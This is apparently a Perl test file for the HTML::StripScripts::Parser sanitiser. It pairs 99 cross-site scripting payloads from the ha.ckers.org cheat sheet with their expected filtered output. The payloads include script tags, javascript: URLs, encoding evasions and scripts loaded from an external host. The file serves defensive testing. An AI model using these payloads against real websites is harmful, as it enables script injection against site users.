1use strict;
2use Test::More tests => 100;
3
4BEGIN { $^W = 1 }
5
6use HTML::StripScripts::Parser;
7
8my @tests;
9my $p =
10    HTML::StripScripts::Parser->new( { AllowHref       => 1,
11                                       AllowRelURL     => 1,
12                                       AllowMailto     => 1,
13                                       strict_names    => 1,
14                                       strict_comments => 1,
15                                     }
16    );
17
18isa_ok( $p, "HTML::StripScripts::Parser" );
19
20my $i = 0;
21while (@tests) {
22    $i++;
23    my $in     = shift @tests;
24    my $out    = shift @tests;
25    my $result = $p->filter_html($in);
26    is( $result, $out, "xss $i" );
27}
28
29# These XSS tests are from http://ha.ckers.org/xss.html
30# I have excluded the google.com URL tests, as all of them are valid URLs (I think)
31
32BEGIN {
33    @tests = (
34
35        #  1
36        q{';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&\{\}},
37        q{&#39;;alert(String.fromCharCode(88,83,83))//\&#39;;alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&gt;<!--filtered-->&quot;&gt;&#39;&gt;<!--filtered--><!--filtered-->=&amp;{}},
38
39        #  2
40        q{'';!--"<XSS>=&\{()\}},
41        q{&#39;&#39;;!--&quot;<!--filtered-->=&amp;{()}},
42
43        #  3
44        q{<SCRIPT>alert('XSS')</SCRIPT>},
45        q{<!--filtered--><!--filtered-->},
46
47        #  4
48        q{<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>},
49        q{<!--filtered--><!--filtered-->},
50
51        #  5
52        q{<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>},
53        q{<!--filtered--><!--filtered-->},
54
55        #  6
56        q{<BASE HREF="javascript:alert('XSS');//">},
57        q{<!--filtered-->},
58
59        #  7
60        q{<BGSOUND SRC="javascript:alert('XSS');">},
61        q{<!--filtered-->},
62
63        #  8
64        q{<BODY BACKGROUND="javascript:alert('XSS');">},
65        q{<!--filtered-->},
66
67        #  9
68        q{<BODY ONLOAD=alert('XSS')>},
69        q{<!--filtered-->},
70
71        # 10
72        q{<DIV STYLE="background-image: url(javascript:alert('XSS'))">},
73        q{<div style=""></div>},
74
75        # 11
76        q{<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">},
77        q{<div style=""></div>},
78
79        # 12
80        q{<DIV STYLE="width: expression(alert('XSS'));">},
81        q{<div style=""></div>},
82
83        # 13
84        q{<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>},
85        q{<!--filtered--><!--filtered--><!--filtered-->},
86
87        # 14
88        q{<IFRAME SRC="javascript:alert('XSS');"></IFRAME>},
89        q{<!--filtered--><!--filtered-->},
90
91        # 15
92        q{<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">},
93        q{<!--filtered-->},
94
95        # 16
96        q{<IMG SRC="javascript:alert('XSS');">},
97        q{<img />},
98
99        # 17
100        q{<IMG SRC=javascript:alert('XSS')>},
101        q{<img />},
102
103        # 18
104        q{<IMG DYNSRC="javascript:alert('XSS');">},
105        q{<img />},
106
107        # 19
108        q{<IMG LOWSRC="javascript:alert('XSS');">},
109        q{<img />},
110
111        # 20
112        q{exp/*<XSS STYLE='no\xss:noxss("*//*");
113<STYLE>li \{list-style-image: url("javascript:alert('XSS')");\}</STYLE><UL><LI>XSS},
114        q{exp/*<!--filtered--><!--filtered--><!--filtered-->},
115
116        # 21
117        q{<IMG SRC='vbscript:msgbox("XSS")'>},
118        q{<img />},
119
120        # 22
121        q{<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>},
122        q{<!--filtered--><!--filtered-->},
123
124        # 23
125        q{<IMG SRC="livescript:[code]">},
126        q{<img />},
127
128        # 24
129        q{<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">},
130        q{<!--filtered-->},
131
132        # 25
133        q{<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">},
134        q{<!--filtered-->},
135
136        # 26
137        q{<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">},
138        q{<!--filtered-->},
139
140        # 27
141        q{<IMG SRC="mocha:[code]">},
142        q{<img />},
143
144        # 28
145        q{<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>},
146        q{<!--filtered--><!--filtered-->},
147
148        # 29
149        q{<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>},
150        q{<!--filtered--><!--filtered--><!--filtered-->},
151
152        # 30
153        q{<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>},
154        q{<!--filtered--><!--filtered-->},
155
156        # 31
157        q{a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")";},
158        q{a=&quot;get&quot;;
159b=&quot;URL(&quot;&quot;;
160c=&quot;javascript:&quot;;
161d=&quot;alert(&#39;XSS&#39;);&quot;)&quot;;},
162
163        # 32
164        q{<STYLE TYPE="text/javascript">alert('XSS');</STYLE>},
165        q{<!--filtered--><!--filtered-->},
166
167        # 33
168        q{<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">},
169        q{<img />},
170
171        # 34
172        q{<XSS STYLE="xss:expression(alert('XSS'))">},
173        q{<!--filtered-->},
174
175        # 35
176        q{<STYLE>.XSS\{background-image:url("javascript:alert('XSS')");\}</STYLE><A CLASS=XSS></A>},
177        q{<!--filtered--><!--filtered--><a></a>},
178
179        # 36
180        q{<STYLE type="text/css">BODY\{background:url("javascript:alert('XSS')")\}</STYLE>},
181        q{<!--filtered--><!--filtered-->},
182
183        # 37
184        q{<LINK REL="stylesheet" HREF="javascript:alert('XSS');">},
185        q{<!--filtered-->},
186
187        # 38
188        q{<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">},
189        q{<!--filtered-->},
190
191        # 39
192        q{<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>},
193        q{<!--filtered--><!--filtered-->},
194
195        # 40
196        q{<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">},
197        q{<!--filtered-->},
198
199        # 41
200        q{<STYLE>BODY\{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")\}</STYLE>},
201        q{<!--filtered--><!--filtered-->},
202
203        # 42
204        q{<TABLE BACKGROUND="javascript:alert('XSS')"></TABLE>},
205        q{<table></table>},
206
207        # 43
208        q{<TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE>},
209        q{<table><!--filtered--><!--filtered--></table>},
210
211        # 44
212        q{<HTML xmlns:xss>},
213        q{<!--filtered-->},
214
215        # 45
216        q{<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>},
217        q{<!--filtered--><!--filtered--><!--filtered--><!--filtered--><!--filtered-->]]&gt;},
218
219        # 46
220        q{<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>},
221        q{<!--filtered--><i><b><img /></b></i><!--filtered-->},
222
223        # 47
224        q{<XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>},
225        q{<!--filtered--><!--filtered-->},
226
227        # 48
228        q{<HTML><BODY>},
229        q{<!--filtered--><!--filtered-->},
230
231        # 49
232        q{<!--[if gte IE 4]>},
233        q{<!--filtered-->},
234
235        # 50
236        q{<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">},
237        q{<!--filtered-->},
238
239        # 51
240        q{<XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);">},
241        q{<!--filtered-->},
242
243        # 52
244        q{<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>},
245        q{<!--filtered--><!--filtered-->},
246
247        # 53
248        q{<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"-->},
249        q{<!--filtered--><!--filtered--><!--filtered-->&#39;&quot;--&gt;},
250
251        # 54
252        q{<? echo('<SCR)';},
253        q{<!--filtered-->},
254
255        # 55
256        q{<BR SIZE="&\{alert('XSS')\}">},
257        q{<br />},
258
259        # 56
260        q{<},
261        q{<!--filtered-->},
262
263        # 57
264        q{<IMG SRC=JaVaScRiPt:alert('XSS')>},
265        q{<img />},
266
267        # 58
268        q{<IMG SRC=javascript:alert(&quot;XSS&quot;)>},
269        q{<img />},
270
271        # 59
272        q{<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>},
273        q{<img />},
274
275        # 60
276        q{<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>},
277        q{<img />},
278
279        # 61
280        q{<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>},
281        q{<img />},
282
283        # 62
284        q{<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>},
285        q{<img />},
286
287        # 63
288        q{<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">},
289        q{<div style=""></div>},
290
291        # 64
292        q{<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>},
293        q{<img />},
294
295        # 65
296        q{<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-},
297        q{<!--filtered--><!--filtered--> <!--filtered-->+ADw-SCRIPT+AD4-alert(&#39;XSS&#39;);+ADw-/SCRIPT+AD4-},
298
299        # 66
300        q{\";alert('XSS');//},
301        q{\&quot;;alert(&#39;XSS&#39;);//},
302
303        # 67
304        q{</TITLE><SCRIPT>alert("XSS");</SCRIPT>},
305        q{<!--filtered--><!--filtered--><!--filtered-->},
306
307        # 68
308        q{<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>},
309        q{<!--filtered--><!--filtered-->},
310
311        # 69
312        q{<IMG SRC="jav    ascript:alert('XSS');">},
313        q{<img />},
314
315        # 70
316        q{<IMG SRC="jav&#x09;ascript:alert('XSS');">},
317        q{<img />},
318
319        # 71
320        q{<IMG SRC="jav&#x0A;ascript:alert('XSS');">},
321        q{<img />},
322
323        # 72
324        q{<IMG SRC="jav&#x0D;ascript:alert('XSS');">},
325        q{<img />},
326
327        # 73
328        q{<IMG},
329        q{<!--filtered-->},
330
331        # 74
332        q{perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out},
333        q{perl -e &#39;print &quot;<img />&quot;;&#39;&gt; out},
334
335        # 75
336        q{perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out},
337        q{perl -e &#39;print &quot;&amp;<!--filtered-->alert(&quot;XSS&quot;)<!--filtered-->&quot;;&#39; &gt; out},
338
339        # 76
340        q{<IMG SRC=" &#14;  javascript:alert('XSS');">},
341        q{<img />},
342
343        # 77
344        q{<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>},
345        q{<!--filtered--><!--filtered-->},
346
347        # 78
348        q{<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>},
349        q{<!--filtered-->},
350
351        # 79
352        q{<SCRIPT SRC=http://ha.ckers.org/xss.js},
353        q{<!--filtered-->},
354
355        # 80
356        q{<SCRIPT SRC=//ha.ckers.org/.j>},
357        q{<!--filtered-->},
358
359        # 81
360        q{<IMG SRC="javascript:alert('XSS')"},
361        q{<!--filtered-->},
362
363        # 82
364        q{<IFRAME SRC=http://ha.ckers.org/scriptlet.html <},
365        q{<!--filtered-->},
366
367        # 83
368        q{<<SCRIPT>alert("XSS");//<</SCRIPT>},
369        q{&lt;<!--filtered--><!--filtered-->},
370
371        # 84
372        q{<IMG """><SCRIPT>alert("XSS")</SCRIPT>">},
373        q{<img /><!--filtered--><!--filtered-->&quot;&gt;},
374
375        # 85
376        q{<SCRIPT>a=/XSS/},
377        q{<!--filtered--><!--filtered-->},
378
379        # 86
380        q{<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>},
381        q{<!--filtered--><!--filtered-->},
382
383        # 87
384        q{<SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT>},
385        q{<!--filtered--><!--filtered-->},
386
387        # 88
388        q{<SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>},
389        q{<!--filtered--><!--filtered-->},
390
391        # 89
392        q{<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>},
393        q{<!--filtered--><!--filtered-->},
394
395        # 90
396        q{<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>},
397        q{<!--filtered--><!--filtered-->},
398
399        # 91
400        q{<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>},
401        q{<!--filtered--><!--filtered-->PT SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;<!--filtered-->},
402
403        # 92
404        q{<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>},
405        q{<!--filtered--><!--filtered-->},
406
407        # 93
408        q{<A HREF="h},
409        q{<!--filtered-->},
410
411        # 94
412        q{<A HREF="http://ha.ckers.org@google">XSS</A>},
413        q{<a>XSS</a>},
414
415        # 95
416        q{<A HREF="http://google:ha.ckers.org">XSS</A>},
417        q{<a>XSS</a>},
418
419        # 96
420        q{<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>},
421        q{<a>XSS</a>},
422
423        # 97
424        q{<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>},
425        q{<a>XSS</a>},
426
427        # 98
428        q{<img alt="test&#10;test" />},
429        q{<img alt="test test" />},
430
431        # 99
432        q{<img alt=test&#10;test />},
433        q{<img alt="test&amp;#10;test" />},
434
435    );
436}
437